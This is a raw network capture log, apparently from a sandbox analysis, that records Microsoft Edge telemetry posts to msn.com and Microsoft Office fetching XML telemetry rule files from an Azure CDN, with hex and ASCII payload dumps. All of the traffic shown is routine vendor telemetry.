2024-11-26 09:09:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49880	13.89.179.13	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:41 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612178908&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11583 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 09:09:41 UTC	11583	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 39 3a 30 39 3a 33 38 2e 39 30 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 34 39 64 35 62 37 38 2d 61 32 32 61 2d 34 61 62 65 2d 62 35 62 38 2d 35 31 64 65 33 30 66 64 31 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 39 33 32 32 39 31 32 32 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T09:09:38.907Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"449d5b78-a22a-4abe-b5b8-51de30fd1714","epoch":"932291223"},"app":{"locale"
2024-11-26 09:09:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1c32b713550a4b6ba32e9e1ebc34ac45&HASH=1c32&LV=202411&V=4&LU=1732612181317; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 09:09:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d36fba0c60c14d2db6421427b3fafefb; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 09:39:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2409 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 09:09:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49881	13.89.179.13	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:41 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612178911&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5050 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 09:09:41 UTC	5050	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 39 3a 30 39 3a 33 38 2e 39 31 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 34 39 64 35 62 37 38 2d 61 32 32 61 2d 34 61 62 65 2d 62 35 62 38 2d 35 31 64 65 33 30 66 64 31 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 39 33 32 32 39 31 32 32 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T09:09:38.910Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"449d5b78-a22a-4abe-b5b8-51de30fd1714","epoch":"932291223"},"app":{"locale"
2024-11-26 09:09:42 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f061cdfbe220482c8d996083203843e9&HASH=f061&LV=202411&V=4&LU=1732612181699; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 09:09:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b40fa9d1a3d94e94915e5b30dc8a258f; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 09:39:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2788 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 09:09:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49882	13.89.179.13	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:41 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612179807&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5248 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; msnup=
2024-11-26 09:09:41 UTC	5248	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 39 3a 30 39 3a 33 39 2e 38 30 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 34 39 64 35 62 37 38 2d 61 32 32 61 2d 34 61 62 65 2d 62 35 62 38 2d 35 31 64 65 33 30 66 64 31 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 39 33 32 32 39 31 32 32 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T09:09:39.807Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"449d5b78-a22a-4abe-b5b8-51de30fd1714","epoch":"932291223"},"app":{"locale"
2024-11-26 09:09:42 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9c48e1e92eb647019f4d26eee0870392&HASH=9c48&LV=202411&V=4&LU=1732612182194; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 09:09:42 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4f4937f22927405cae2dcbb386ec7991; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 09:39:42 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2387 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 09:09:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:42 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:42 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090942Z-174f784596886s2bhC1EWR743w0000000v6g000000007ahy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:42 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090942Z-174f7845968ljs8phC1EWRe6en0000000v4g000000001xs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:42 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:42 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090942Z-174f7845968cdxdrhC1EWRg0en0000000v40000000007p8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49886	13.89.179.13	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:42 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612179903&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9624 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; msnup=
2024-11-26 09:09:42 UTC	9624	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 39 3a 30 39 3a 33 39 2e 39 30 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 34 39 64 35 62 37 38 2d 61 32 32 61 2d 34 61 62 65 2d 62 35 62 38 2d 35 31 64 65 33 30 66 64 31 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 39 33 32 32 39 31 32 32 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-26T09:09:39.902Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"449d5b78-a22a-4abe-b5b8-51de30fd1714","epoch":"932291223"},"app":{"loca
2024-11-26 09:09:42 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=005c949575b041c49f981eedd4c9804a&HASH=005c&LV=202411&V=4&LU=1732612182588; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 09:09:42 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5a3d8dbc5f4d4ea18f5dab078d30b4b7; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 09:39:42 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2685 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 09:09:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:42 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090942Z-174f7845968nxc96hC1EWRspw80000000uw0000000008eaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:42 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090942Z-174f7845968psccphC1EWRuz9s0000000vcg000000008hxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
